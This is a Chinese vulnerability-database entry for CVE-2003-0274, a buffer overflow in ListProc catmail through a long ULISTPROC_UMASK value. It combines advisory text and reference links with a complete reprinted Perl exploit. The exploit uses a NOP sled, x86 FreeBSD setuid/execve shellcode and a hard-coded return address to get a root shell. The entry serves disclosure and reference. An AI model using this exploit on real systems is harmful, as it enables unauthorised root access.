CVE-2003-0274
CVSS10.0
发布时间 :2003-05-27 00:00:00
修订时间 :2016-10-17 22:31:33
NMCOE    

[原文]Buffer overflow in catmail for ListProc 8.2.09 and earlier allows remote attackers to execute arbitrary code via a long ULISTPROC_UMASK value.


[CNNVD]ListProc缓冲区溢出漏洞(CNNVD-200305-069)

        ListProc 8.2.09及其早期版本中的catmail存在缓冲区溢出漏洞。远程攻击者可以通过超长ULISTPROC_UMASK值执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0274
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-0274
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200305-069
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=105241224228693&w=2
(UNKNOWN)  BUGTRAQ  20030508 SRT2003-05-08-1137 - ListProc mailing list ULISTPROC_UMASK overflow

- 漏洞信息

ListProc缓冲区溢出漏洞
危急 缓冲区溢出
2003-05-27 00:00:00 2005-10-20 00:00:00
远程  
        ListProc 8.2.09及其早期版本中的catmail存在缓冲区溢出漏洞。远程攻击者可以通过超长ULISTPROC_UMASK值执行任意代码。

- 公告与补丁

        

- 漏洞信息 (22573)

ListProc 8.2.9 Catmail ULISTPROC_UMASK Buffer Overflow Vulnerability (EDBID:22573)
freebsd local
2003-05-08 Verified
0 kf
N/A [点击下载]
source: http://www.securityfocus.com/bid/7533/info

ListProc catmail has been reported prone to a buffer overflow vulnerability when handling a ULISTPROC_UMASK environment variable of excessive length.

The issue is likely due to a lack of sufficient bounds checking performed when copying the contents of the ULISTPROC_UMASK environment variable into an internal memory buffer.

Ultimately an attacker may exploit this vulnerability to execute arbitrary operation codes. Code execution would occur in the context of the ListProc catmail application, typically root.

It should be noted that while his vulnerability has been reported to affect ListProc 8.2.09, other versions might also be affected. 

#!/usr/bin/perl -w
# DSR-listproc.pl - kokaninATdtors.net vs. listproc 8.2.09 (bug found by KF)
# as per http://www.packetstormsecurity.nl/0305-advisories/srt2003-1137.txt
# offset, retaddr and shellcode is for my FreeBSD 4.8-RELEASE, YMMV
# shellcode by eSDee, hello there eSDee
# dont forget to edit the path to the catmail binary
# this yields uid(0) if listproc is installed by root, otherwise something else

$len = 16534;
$ret = pack("l",0xbfbfd176); # appx. middle of the env_var (as seen w. � eye)
$nop = "\x90";                                        
$shellcode =    "\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
                "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
                "\x54\x53\x50\xb0\x3b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";
                                                      
for ($i = 0; $i < $len - (length($shellcode)-8); $i++) {
    $buffer .= $nop;                                  
}                                                     
$buffer .= $shellcode;                                
$buffer .= $ret x 2;                                  
local($ENV{'ULISTPROC_UMASK'}) = $buffer;             
system("catmail");
		

- 漏洞信息

6677
ListProc catmail ULISTPROC_UMASK Variable Arbitrary Command Execution

- 漏洞描述

Unknown or Incomplete

- 时间线

2003-05-08 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

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